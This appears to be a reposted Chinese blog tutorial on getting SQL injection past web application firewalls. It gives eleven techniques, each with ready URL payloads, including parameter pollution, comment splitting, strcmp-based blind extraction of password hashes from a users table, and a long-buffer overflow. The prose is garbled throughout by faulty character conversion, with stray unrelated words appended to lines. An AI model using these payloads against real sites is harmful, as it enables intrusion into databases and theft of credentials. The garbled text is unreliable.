SQL注入中的WAF繞過技術

 

1.大小寫繞過php

這個你們都很熟悉,對於一些太垃圾的WAF效果顯著,好比攔截了union,那就使用Union UnIoN等等繞過。正則表達式

2.簡單編碼繞過sql

好比WAF檢測關鍵字,那麼咱們讓他檢測不到就能夠了。好比檢測union,那麼咱們就用%55也就是U的16進制編碼來代替U,union寫成 %55nION,結合大小寫也能夠繞過一些WAF,你能夠隨意替換一個或幾個均可以。服務器

也還有你們在Mysql注入中好比表名或是load文件的時候,會把文件名或是代表用16進制編碼來繞過WAF都是屬於這類。函數

3.註釋繞過測試

這種狀況比較少,適用於WAF只是過濾了一次危險的語句,而沒有阻斷咱們的整個查詢。ui

01./?id=1+union+select+1,2,3/*編碼

好比對於上面這條查詢,WAF過濾了一次union和select,那麼咱們在以前在寫一個註釋的語句,讓他把註釋裏面的過濾掉,並不影響咱們的查詢。.net

因此繞過語句就是:blog

01./?id=1/union/union/select/select+1,2,3/*

還有一種和註釋有關的繞過:

好比:

01.index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4…

能夠看到,只要咱們把敏感詞放到註釋裏面,注意,前面要加一個!

4.分隔重寫繞過

仍是上面的例子,適用於那種WAF採用了正則表達式的狀況,會檢測全部的敏感字,而不在意你寫在哪裏,有幾個就過濾幾個。

咱們能夠經過註釋分開敏感字,這樣WAF的正則不起做用了,而帶入查詢的時候並不影響咱們的結果。

01./?id=1+un//ion+sel//ect+1,2,3--

至於重寫繞過,適用於WAF過濾了一次的狀況,和咱們上傳aaspsp馬的原理同樣,咱們能夠寫出相似Ununionion這樣的。過濾一次union後就會執行咱們的查詢了。

01.?id=1 ununionion select 1,2,3--

5.Http參數污染(HPP)

好比咱們有這樣的語句:

01./?id=1 union select+1,2,3+from+users+where+id=1--

咱們能夠重複一次前面的id值添加咱們的值來繞過,&id=會在查詢時變成逗號:

01./?id=1 union select+1&id=2,3+from+users+where+id=1--

這種狀況成功的條件比較多,取決於具體的WAF實現。

再給出一個例子說明用法:

01./?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users--

具體分析的話就涉及到查詢語句的後臺代碼的編寫了。

好比服務器是這樣寫的:

01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];

那咱們能夠構造這樣的注入語句:

01./?a=1+union/&b=/select+1,pass/&c=/from+users--

最終解析爲:

01.select from table where a=1 union/ and b=/select 1,pass/limit */from users--

能夠看到,這種方式其實比較適合白盒測試,而對於黑盒滲透的話,用起來比較麻煩。可是也能夠一試。

6.使用邏輯運算符 or /and繞過

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

順便解釋一下第二句話,從最裏面的括號開始分析,select+pwd+from+users+limit+1,1 這句是從users表裏查詢pwd字段的第一條記錄,好比是admin,

而後mid(上一句),1,1就是取admin的第一個字符,也就是a,

lower(上一句)就是把字符轉換爲小寫,

而後ascii就是把a轉換成ascii碼,看等不等於74。

7.比較操做符替換

包括!= 不等於,<>不等於,< 小於,>大於,這些均可以用來替換=來繞過。

好比上一個例子,要判斷是否是74,假設=被過濾,那麼咱們能夠判斷是否是大於73,是否是小於75,而後就知道是74了。。不少WAF都會忘了這個。

8.同功能函數替換

Substring()能夠用mid(),substr()這些函數來替換,都是用來取字符串的某一位字符的。

Ascii()編碼能夠用hex(),bin(),也就是16進制和二進制編碼替換。Benchmark()能夠用sleep()來替換,這兩個使用在基於延時的盲注中,有機會給你們介紹。

若是連這些都屏蔽了,還有一種新的方法:

  1. substring((select 'password'),1,1) = 0x70

02.substr((select 'password'),1,1) = 0x70

03.mid((select 'password'),1,1) = 0x70

好比這三條,都是從password裏判斷第一個字符的值,能夠用:

01.strcmp(left('password',1), 0x69) = 1

02.strcmp(left('password',1), 0x70) = 0

03.strcmp(left('password',1), 0x71) = -1

來替換,left用來取字符串左起1位的值,strcmp用來比較兩個值,若是比較結果相等就爲0,左邊小的話就爲-1,不然爲1。

還有我前幾篇說過的group_concat 和concat和concat_ws也能夠互相替換。

9.盲注無需or和and

好比有這樣一個注入點:

01.index.php?uid=123

and、or被過濾了,其實有一種更直接的方法,咱們直接修改123爲咱們的語句生成的:

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的時候頁面是正確的,咱們如今在盲猜hash的第一位,若是第一位等於0x42也就是B,那麼strcmp結果爲0,0+123=123,因此頁面應該是正確的。不然就說明不是B,就這樣猜,不用and和or了。

  1. 加括號

01./?id=1+union+(select+1,2+from+users)

好比,上面這一條被WAF攔截了。能夠試試加一些括號:

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select'1',concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.緩衝區溢出繞過

這個是從國外一個博客看到的:

01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA這裏A越多越好,通常要求1000個以上。

做者:CanMengBlog
來源:CSDN
原文:https://blog.csdn.net/weixin_... 版權聲明:本文爲博主原創文章,轉載請附上博文連接!

相關文章
相關標籤/搜索